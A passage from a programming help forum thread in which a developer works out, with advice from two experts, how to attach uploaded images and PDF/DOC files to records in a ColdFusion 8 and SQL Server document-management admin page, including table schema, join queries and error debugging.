I need to upload a document file and an image file when I create or edit a database record. Advice on how to proceed?

ColdFusion 8
MS SQL Server 2005
IIS 6

Hi. I've got a project I've been thinking about for a while, and I should get some advice about it before I begin.

In brief: I need to upload a document file and an image file (both) when I create or edit a database record. I need to associate the image and the document with the record.

Details:

I have a working application here, which allows an authorized user to edit a database record (or create or delete one):

http://ebwebwork.com/cep/admin/

The edit record interface looks like this:

http://ebwebwork.com/cep/admin/cep_document_edit.cfm?DocumentID=16

... a simple form to update a record.

I need to add two components to this interface at cep_document_edit.cfm:

1) a field to browse for and upload an image file (GIF, PNG, JPG) to folder c:\upload\cep-dc.org (outside of web root, for security)

2) another field to browse for and upload a document file (DOC or PDF) to folder c:\upload\cep-dc.org (outside of web root, for security)

Not too difficult so far.

The complications begin here:

1) I need to use CFCONTENT to deliver the images and documents from the folder, to the production web site; and I believe I will need to refer to each image and each document by a unique ID. Can that Unique ID be the unique record ID of the database record? Or does each image and document need a separate unique ID?

How should I think about, and go about this task?

The table is: tbl_CEP_Documents

Its columns are: DocumentID, DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified

Should I add two more columns: DocumentPath, ImagePath ... to contain the correct path to the document or image file in folder c:\upload\cep-dc.org?

Maybe that would work..... each document and image will be associated with a unique DocumentID. And I can use CFCONTENT to deliver the images and documents from the folder, to the production web site.

2) But, as Azadi noted here:

http://www.experts-exchange.com/Web_Development/Web_Languages-Standards/Cold_Fusion_Markup_Language/Q_25426799.html

... I can use a query string to identify a specific file to stream to the production web site (using CFCONTENT) based on the file's unique ID:

<img href="image.cfm?imgid=XXXX">

or

<a href="pdf.cfm?docid=YYYYY" target="_blank">

So: does each image and document need a unique ID besides the unique database record DocumentID?

If so, should I create two more tables, one each to contain information about documents and images? (docID, DocumentFileName, PathtoDocument, etc)

Does this question make sense and can I articulate it better?

Thank you for any advice.

Eric B
cep_document_edit.cfm:

<!---
Name:        cep_document_edit.cfm
Author:     Eric Bourland, following Ben Forta code in ColdFusion 8 web application construction kit, assistance from _agx_ and maestropsm
Description: CEP add and update documents form
Created:     2/24/2010
--->


<!--- Check that DocumentID has been provided --->
<!--- If yes, do method edit; else, do method add --->
<cfset EditMode=IsDefined("URL.DocumentID")>

<!--- If edit mode, then get row to edit --->
<cfif EditMode>

 <!--- Get the document record --->
 <cfinvoke component="cep_documents"
           method="get"
           documentid="#URL.DocumentID#"
           returnvariable="GetDocumentRecord">

 <!--- Save to variables --->
 <cfset DocumentTitle=Trim(GetDocumentRecord.DocumentTitle)>
 <cfset DocumentType=Trim(GetDocumentRecord.DocumentType)>
 <cfset DocumentAuthor=Trim(GetDocumentRecord.DocumentAuthor)>
 <cfset DocumentAbstract=Trim(GetDocumentRecord.DocumentAbstract)>
 <cfset DocumentPublicationDate=DateFormat(GetDocumentRecord.DocumentPublicationDate, "MM/DD/YYYY")>

 
 <!--- Form text --->
 <cfset FormTitle="Update a Document">
 <cfset ButtonText="Update">
 
<cfelse>

 <!--- Set default values for variables, so that variables are defined --->
 <cfset DocumentTitle="" />
 <cfset DocumentType="" />
 <cfset DocumentAuthor="" />
 <cfset DocumentAbstract="" />
 <cfset DocumentPublicationDate="" />
 <cfset SSMA_TimeStamp="" />
 <cfset DateRecordModified="" />

 

 <!--- Form text --->
 <cfset FormTitle="Add a Document">
 <cfset ButtonText="Add Document">

</cfif>


<!--- Page header --->
<cfinclude template="cep_header.cfm" />


<!--- form begins here--->

<!--- Add/update Document form --->
<cfform action="cep_document_process.cfm">

<cfif EditMode>
 <!--- Embed primary key as a hidden field --->
 <cfoutput>
 <input type="hidden" name="documentID" value="#GetDocumentRecord.documentID#" />
 </cfoutput>
</cfif>

<table align="center" bgcolor="white">
 <tr>
  <th colspan="2">
   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>
  </th>
 </tr>
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
  </td>
  <td>
   <select name="DocumentType" value="#DocumentType#" message="Please choose Document Type from the Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>



 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
  </td>
  <td>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>




 <tr>
  <td colspan="2" align="center">
   <cfoutput>
   <input type="submit" value="#ButtonText#" />
   </cfoutput>
  </td>
   </tr>
</table>

</cfform>

<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />



cep_documents.cfc:

<!---
Name:        cep_documents.cfc
Author:      Eric Bourland, following Ben Forta code in ColdFusion 8 web application construction kit, assistance from _agx_ and maestropsm
Description: CEP add and update documents CF component
Created:     2/24/2010
--->

<cfcomponent hint="CEP documents database access component">

 <!--- Set the datasource --->
 <cfset ds="ebwebwork">


 <!--- Get document list --->
 <cffunction name="list"
             returntype="query"
             hint="List all CEP Documents">

 <!--- in this query let's select every column in the table so that the variables can be available to the list of documents on http://ebwebwork.com/cep/admin/ --->

  <cfquery datasource="#ds#"
           name="GetDocumentList">
  SELECT DocumentID, DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified
  FROM tbl_CEP_Documents
  ORDER BY DocumentID ASC
  </cfquery>
  <cfreturn GetDocumentList> 
 <!--- give query name to cfreturn tag, above; if query is named GetDocumentList, then so is cfreturn --->
  </cffunction>


 <!--- Get document details --->
 <cffunction name="get"
             returntype="query"
             hint="Get document details">
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">

  <cfquery datasource="#ds#"
           name="GetDocumentDetails">
  SELECT DocumentID, DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified
  FROM tbl_CEP_Documents
  WHERE DocumentID=#ARGUMENTS.DocumentID#
  </cfquery>
  <cfreturn GetDocumentDetails>
  
   <!--- give query name to cfreturn tag, above --->
  
 </cffunction>


 <!--- Add a document --->
 <cffunction name="add"
             returntype="boolean"
             hint="Add a document">

  <!--- Method arguments --->
  <cfargument name="DocumentTitle"
              type="string"
              required="yes"
              hint="Document Title">
  <cfargument name="DocumentType"
              type="string"
              required="yes"
              hint="Document Type">
  <cfargument name="DocumentAuthor"
              type="string"
              required="yes"
              hint="Document Author">
  <cfargument name="DocumentAbstract"
              type="string"
              required="yes"
              hint="Document Abstract">
  <cfargument name="DocumentPublicationDate"
              type="date"
              required="yes"
              hint="Document Publication Date">


  <!--- Insert document --->
  <cfquery datasource="#ds#">
  INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
  </cfquery>
  <cfreturn true>

 </cffunction>

 
 <!--- Update a document --->
 <cffunction name="update"
             returntype="boolean"
             hint="Update a document">
  <!--- Method arguments --->
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">
  <cfargument name="DocumentTitle"
              type="string"
              required="yes"
              hint="document title">
  <cfargument name="DocumentType"
              type="string"
              required="yes"
              hint="Document Type">
  <cfargument name="DocumentAuthor"
              type="string"
              required="yes"
              hint="Document Author">
  <cfargument name="DocumentAbstract"
              type="string"
              required="yes"
              hint="Document Abstract">
  <cfargument name="DocumentPublicationDate"
              type="date"
              required="yes"
              hint="This is the date, entered manually by the user, that the publication was published by CEP">
  <cfargument name="DateRecordModified"
              type="date"
              required="yes"
              hint="Date Record Modifed">

  <!--- Update document --->
 <cfquery datasource="#ds#">
  UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(ARGUMENTS.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer"  value="#ARGUMENTS.DocumentID#">
  </cfquery>
  <cfreturn true>

 </cffunction>
 
 
 <!--- Delete a document --->
 <cffunction name="delete"
             returntype="boolean"
             hint="Delete a document">
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">

  <cfquery datasource="#ds#">
  DELETE FROM tbl_CEP_Documents
  WHERE DocumentID=#ARGUMENTS.DocumentID#
  </cfquery>
  <cfreturn true>
  
 </cffunction>

</cfcomponent>

Open in new window

LVL 3
Eric BourlandAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

azadisaryevCommented:
the id of the db record the document and image are associated with will be the unique id. you do not need any other identifier.

you will obviously need to add columns to your table to store the image filename, or create a separate table to store imageid (unique id), documentid (the id of the document the image is associated with) and image filename if each document can have multiple images.

you do not need to store the path to the doc/image in your db if the paths are static (i.e. docs and images are all always uploaded to specific folder). you can make the folder path an application-scope variable which will make it easier to change it if you ever need to (it is easier to change the path in one place rather than in every page you save or display the image).

your query that gets the document record should also retrieve the data for image(s) associated with that document. you can then pass the documentid as url variable to your image.cfm page to retrieve the image and serve it using cfcontent (if each doc has only one image and the image data is stored in the same table as doc data, then you can even pass the image filename as 'img' url variable to your image.cfm page, then just use <cfcontent ... file="#application.imgpath#/#url.img#" ...> to serve the image [after appropriate checks for image file existence, of course]).

Azadi
0
gdemariaCommented:
Eric,

 Are you sure you will only want one image and one document associated with a record?   If you add the fields to your existing table, that will limit the number of files you want to upload (it's not a good strategy to end up with columns  File1, File2, File3 in your table).

 If there is a chance you will allow multiple files you may want to consider another table to hold the file information.  Of course, this adds a bit more complexity, so if you really only need one doc and one image, it's easier to do it on the same record.

0
Eric BourlandAuthor Commented:
Azadi and gdemaria,

Thank you for these notes. They make sense to me -- mostly -- 95% -- and I will work on them.

gdemaria -- that is a good point, and you are quite right: I might well need to add multiple documents to a database record. You just saved me a lot of trouble. =)

>>>(it's not a good strategy to end up with columns  File1, File2, File3 in your table).

I agree.

The main table, that contains the important document metadata (Title, Author, Description, Publication Date, etc) is tbl_CEP_Documents. This table will also contain the information about the image associated with the document -- mainly, just a small thumbnail image of the document cover -- that's all I need for the image.

I am going to make a new table to contain information about files (PDF, DOC). I will call the table: tbl_CEP_Files

I believe this table, tbl_CEP_Files, needs only two columns: FileID (PK), and FileName (which is the name of the file, like CEP_Education_Document.pdf). I'll go ahead and set this up.

Azadi, you mentioned:

>>>you do not need to store the path to the doc/image in your db if the paths are static (i.e. docs and images are all always uploaded to specific folder). you can make the folder path an application-scope variable which will make it easier to change it if you ever need to (it is easier to change the path in one place rather than in every page you save or display the image).

This is true. All files -- images and documents -- will be placed in folder c:\upload\cep-dc.org.

I will set up, in cep_documents.cfc, an application scope variable to reference this path.

I'll get back here soon. Thank you both again. Azadi, since you're in HK, have a good evening!

I'm excited and really pleased about this project.

Eric
0
CompTIA Network+

Prepare for the CompTIA Network+ exam by learning how to troubleshoot, configure, and manage both wired and wireless networks.

azadisaryevCommented:
couple of thoughts/comments:

>> I believe this table, tbl_CEP_Files, needs only two columns: FileID (PK), and FileName

don't forget a DocumentID column to link a doc file to your tbl_CEP_Documents table! otherwise you'll never know which file belongs to which document...

>> I will set up, in cep_documents.cfc, an application scope variable to reference this path.

you should set that variable in your Application.cfm/cfc, not in cep_documents.cfc - this var needs to be set only once on application start, not every time your cep_documents.cfc is invoked.

Azadi
0
Eric BourlandAuthor Commented:
>>>don't forget a DocumentID column to link a doc file to your tbl_CEP_Documents table!

Got it. That makes sense, to relate the two tables.


>>>you should set that variable in your Application.cfm/cfc

Got it. I will do.
0
Eric BourlandAuthor Commented:
I set up table, tbl_CEP_Files with columns: FileID (PK), FileName, DocumentID

I added to tbl_CEP_Documents two columns:

ImageName
ImageID

I'm working on the coding changes and will update here in a while.

Thank you again. More soon.

Eric
0
azadisaryevCommented:
if each record in your tbl_CEP_Documents can have only one image, then you do not need ImageID column in there at all - you already have a DocumentID column (or whatever is the id column in that table) that will identify the image as well. all you need to add is a column to store the image filename.

Azadi
0
gdemariaCommented:
> I set up table, tbl_CEP_Files with columns: FileID (PK), FileName, DocumentID

> I added to tbl_CEP_Documents two columns:

> ImageName
> ImageID


No, you don't want to do that.   You are doing BOTH solutions at once.  You are adding a table AND adding fields in your document table.

The tbl_CEP_files table should hold ALL your attachments; files and images.   That way you have the same approach for both, you can hold 1 or many documents and 1 or more images as well.

You can add another field to the tbl_CEP_files table to indicate the type of file (doc or image  or even more specific  .doc, .docx, pdf, jpg, gif, etc)


0
Eric BourlandAuthor Commented:
I understand! I'm on it....

=)
0
Eric BourlandAuthor Commented:
Azadi and gdemaria,

OK, tbl_CEP_files now contains these columns:

FileName (PK)
FileID
DocumentID (to relate to column DocumentID in
ImageName
ImageID ... do I need this? I don't think I do.


tbl_CEP_Documents has these columns:
DocumentID, DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified

Next I am working on my file cep_document_edit.cfm, to add the necessary FORM components. I will also modify application.cfc per Azadi's note, to add an application scope variable to reference the target folder: c:\upload\cep-dc.org

I am packing for a trip to DC and will get back to this question tomorrow. Thank you again for your help. Hope you are both well.

Eric
0
gdemariaCommented:
OK, tbl_CEP_files now contains these columns:

FileName (PK)  -- -your primary key should be a unique number, not the file name
FileID  --- this could be your primary key if it's auto generated
DocumentID (to relate to column DocumentID)   --- foreign key to document table
ImageName  ---- this is the same as filename isn't it?
ImageID   -- this is the same as fileID isn't it?


Here's a suggested table schema..

FileID - primary key
documentID - foreign key
serverFile - this is the file name of file on the server
FileName - this is the original name of the file, not the name of the file on the server
FileExtention - it's nice to save the extension separately to make it easy to search/display
FileType - this type is for your application such as Doc or Image
FileSize - optional, it's nice to have sometimes
isDeleted bit default 0 not null -- useful for deleting file.  You need to delete the physical file and the database record, sometimes they can't be done at the same time due to locks



0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
Eric BourlandAuthor Commented:
Sorry, I meant FileID is PK.

Thank you for the table schema. I will come up with something soon and test and review it here. Thank you again gdemaria.

Eric B
0
Eric BourlandAuthor Commented:
Friends, I apologize for my tardy response. I am in Dc, meeting clients, and keeping very busy. I am thinking about this problem in every spare moment and will come back here with some kind code, my best effort at getting the correct code in the correct place. I have read your comments very closely, and doing my own research in Forta/Camden etc. I'm deeply grateful to you and will return here ASAP.

Hope you are great. Take care.

Eric
0
Eric BourlandAuthor Commented:
Azadi and gdemaria,

tbl_CEP_files now has these columns:

FileID (int; PK)
DocumentID (int; will be FK in tbl_CEP_Documents)
FileName nvarchar(256)
FileExtension nvarchar(10)
FileType nvarchar(10)
isDeleted  (bit)

gdemaria thank you for this schema. It makes sense. I am currently working on my edit page and application.cfc. More soon. Hope you are well.

Eric
0
gdemariaCommented:
Hi Eric,
The only field you really need to show to upload the file is the <input type="file"....> tag.
The rest of the fields you can populate automatically.

0
Eric BourlandAuthor Commented:
Hello. I am working first on my query, to call all of the columns from the two tables: tbl_CEP_documents and tbl_CEP_files.

In cep_documents.cfc, I have this query inside a CFFUNCTION (see attached code) (I will go ahead and attach the full cep_documents.cfc.)

The query gives an error, which I detail below.

However, one question: should I even use cep_documents.cfc, or should I combine cep_documents.cfc with application.cfc?

Here is the error I get with the current cep_documents.cfc:

(thank you again)

[Macromedia][SQLServer JDBC Driver][SQLServer]Ambiguous column name 'DocumentID'.  
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\cep_documents.cfc: line 22
Called from C:\websites\ebwebwork.com\cep\admin\index.cfm: line 12
Called from C:\websites\ebwebwork.com\cep\admin\cep_documents.cfc: line 22
Called from C:\websites\ebwebwork.com\cep\admin\index.cfm: line 12
 
20 :
21 :   <cfquery datasource="#ds#"
22 :            name="GetDocumentList">
23 :   SELECT DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified, FileID, FileName, FileExtension, FileType, isDeleted
24 :   FROM tbl_CEP_Documents d, tbl_CEP_files f
<!---
Name:        cep_documents.cfc
Author:      Eric Bourland, following Ben Forta code in ColdFusion 8 web application construction kit
Description: CEP add and update documents CF component
Created:     2/24/2010
--->

<cfcomponent hint="CEP documents database access component">

 <!--- Set the datasource --->
 <cfset ds="ebwebwork">


 <!--- Get document list --->
 <cffunction name="list"
             returntype="query"
             hint="List all CEP Documents">

 <!--- in this query let's select all columns in tables tbl_CEP_documents and tbl_CEP_files to that the variables can be available to the list of documents on http://ebwebwork.com/cep/admin/ --->

  <cfquery datasource="#ds#"
           name="GetDocumentList">
  SELECT DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified, FileID, FileName, FileExtension, FileType, isDeleted
  FROM tbl_CEP_Documents d, tbl_CEP_files f
  WHERE d.DocumentID = f.DocumentID
  ORDER BY DocumentID ASC
  </cfquery>
  <cfreturn GetDocumentList> 
 <!--- give same query name to cfreturn tag, above; if query is named GetDocumentList, then so is cfreturn --->
  </cffunction>


 <!--- Get document details --->
 <cffunction name="get"
             returntype="query"
             hint="Get document details">
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">

  <cfquery datasource="#ds#"
           name="GetDocumentDetails">
  SELECT DocumentID, DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified
  FROM tbl_CEP_Documents
  WHERE DocumentID=#ARGUMENTS.DocumentID#
  </cfquery>
  <cfreturn GetDocumentDetails>
  
   <!--- give query name to cfreturn tag, above --->
  
 </cffunction>


 <!--- Add a document --->
 <cffunction name="add"
             returntype="boolean"
             hint="Add a document">

  <!--- Method arguments --->
  <cfargument name="DocumentTitle"
              type="string"
              required="yes"
              hint="Document Title">
  <cfargument name="DocumentType"
              type="string"
              required="yes"
              hint="Document Type">
  <cfargument name="DocumentAuthor"
              type="string"
              required="yes"
              hint="Document Author">
  <cfargument name="DocumentAbstract"
              type="string"
              required="yes"
              hint="Document Abstract">
  <cfargument name="DocumentPublicationDate"
              type="date"
              required="yes"
              hint="Document Publication Date">


  <!--- Insert document --->
  <cfquery datasource="#ds#">
  INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
  </cfquery>
  <cfreturn true>

 </cffunction>

 
 <!--- Update a document --->
 <cffunction name="update"
             returntype="boolean"
             hint="Update a document">
  <!--- Method arguments --->
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">
  <cfargument name="DocumentTitle"
              type="string"
              required="yes"
              hint="document title">
  <cfargument name="DocumentType"
              type="string"
              required="yes"
              hint="Document Type">
  <cfargument name="DocumentAuthor"
              type="string"
              required="yes"
              hint="Document Author">
  <cfargument name="DocumentAbstract"
              type="string"
              required="yes"
              hint="Document Abstract">
  <cfargument name="DocumentPublicationDate"
              type="date"
              required="yes"
              hint="This is the date, entered manually by the user, that the publication was published by CEP">
  <cfargument name="DateRecordModified"
              type="date"
              required="yes"
              hint="Date Record Modifed">

  <!--- Update document --->
 <cfquery datasource="#ds#">
  UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(ARGUMENTS.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer"  value="#ARGUMENTS.DocumentID#">
  </cfquery>
  <cfreturn true>

 </cffunction>
 
 
 <!--- Delete a document --->
 <cffunction name="delete"
             returntype="boolean"
             hint="Delete a document">
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">

  <cfquery datasource="#ds#">
  DELETE FROM tbl_CEP_Documents
  WHERE DocumentID=#ARGUMENTS.DocumentID#
  </cfquery>
  <cfreturn true>
  
 </cffunction>

</cfcomponent>

Open in new window

0
gdemariaCommented:
Couple things Eric...

1- why are you writing a query to combine these two tables?   What are you going to do with the output?   Remember there will be or could be many files for one document record, so the document information will repeat several times.

2 - when you write a query, you should use a different format that you are using.   It's good to list the table columns, but you need to specify the table alias for each one.   This is the error you are getting, the documentID is in both tables and you need to specify which table you want to get the value from.  You should also specify the join clause (LEFT JOIN, INNER JOIN) rather than direct join of just listing the tables.   See this format below..

3 - A query for a specific page should not go in the general application.cfc file.  You can put it in another .cfc file if you wish.  Personally, I would just put them on the top of the page, the fewer files to open the better.  But if you already have a method of using cfc's for all your queries/updates, then you should be consistent.



SELECT D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID

Open in new window

0
Eric BourlandAuthor Commented:
gdemaria,

I am studying this closely. More in a while ... probably tomorrow since it is late here.

I am reviewing JOINs in my Forta SQL book.

This is immensely helpful. Thank you. Have a really good evening.

Eric
0
Eric BourlandAuthor Commented:
Good morning, gdemaria and azadi,

I woke early and have been working on this task for several hours. I have made progress:

http://ebwebwork.com/cep/admin/

This is the "control panel" in which CEP staff will manage their documents.

Currently I am trying to simply Add a document. When I click the Add Document link (upper left of screen) I get taken to the Add/Edit document page:

http://ebwebwork.com/cep/admin/cep_document_edit.cfm

That's all good. It took me a while to even get this page to appear properly. =)

The Add/Edit document page does not yet work, obviously because I need to edit my document process file, to populate the original table tbl_CEP_Documents and also the new table, tbl_CEP_Files.

So I took a stab at that.

Currently, cep_document_process.cfm gives me this error when I try to add a document:

Element FILEID is undefined in FORM.  
 
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\cep_document_process.cfm: line 36
 
34 :                    value="#now()#">
35 :  <cfinvokeargument name="FileID"
36 :                    value="#Trim(FORM.FileID)#">
37 :  <cfinvokeargument name="FileName"
38 :                    value="#Trim(FORM.FileName)#">

 However, I thought FileID was supposed to populate automatically in the database table tbl_CEP_files.

I attach some files below: cep_documents.cfc, cep_document_process.cfm, cep_document_edit.cfm

I've been staring at this code for several hours now. What am I missing?

Thank you again for your help. Hope you are well.

Eric

cep_documents.cfc:

<cfcomponent hint="CEP documents database access component">

 <!--- Set the datasource --->
 <cfset ds="ebwebwork">


 <!--- Get document list --->
 <cffunction name="list"
             returntype="query"
             hint="List all CEP Documents">

 <!--- in this query let's select all columns in tables tbl_CEP_documents and tbl_CEP_files to that the variables can be available to the list of documents on http://ebwebwork.com/cep/admin/ --->

  <cfquery datasource="#ds#"
           name="GetDocumentList">
  SELECT D.DocumentID
  	 , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID 
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>
  <cfreturn GetDocumentList> 
 <!--- give same query name to cfreturn tag, above; if query is named GetDocumentList, then so is cfreturn --->
  </cffunction>


 <!--- Get document details --->
 <cffunction name="get"
             returntype="query"
             hint="Get document details">
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">

  <cfquery datasource="#ds#"
           name="GetDocumentDetails">
  SELECT DocumentID, DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified
  FROM tbl_CEP_Documents
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
  </cfquery>
  <cfreturn GetDocumentDetails>
  
   <!--- give query name to cfreturn tag, above --->
  
 </cffunction>


 <!--- Add a document --->
 <cffunction name="add"
             returntype="boolean"
             hint="Add a document">

  <!--- Method arguments --->
  <cfargument name="DocumentTitle"
              type="string"
              required="yes"
              hint="Document Title">
  <cfargument name="DocumentType"
              type="string"
              required="yes"
              hint="Document Type">
  <cfargument name="DocumentAuthor"
              type="string"
              required="yes"
              hint="Document Author">
  <cfargument name="DocumentAbstract"
              type="string"
              required="yes"
              hint="Document Abstract">
  <cfargument name="DocumentPublicationDate"
              type="date"
              required="yes"
              hint="Document Publication Date">


  <!--- Insert document --->
  <cfquery datasource="#ds#">
  INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
  </cfquery>
  <cfreturn true>

 </cffunction>

 
 <!--- Update a document --->
 <cffunction name="update"
             returntype="boolean"
             hint="Update a document">
  <!--- Method arguments --->
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">
  <cfargument name="DocumentTitle"
              type="string"
              required="yes"
              hint="document title">
  <cfargument name="DocumentType"
              type="string"
              required="yes"
              hint="Document Type">
  <cfargument name="DocumentAuthor"
              type="string"
              required="yes"
              hint="Document Author">
  <cfargument name="DocumentAbstract"
              type="string"
              required="yes"
              hint="Document Abstract">
  <cfargument name="DocumentPublicationDate"
              type="date"
              required="yes"
              hint="This is the date, entered manually by the user, that the publication was published by CEP">
  <cfargument name="DateRecordModified"
              type="date"
              required="yes"
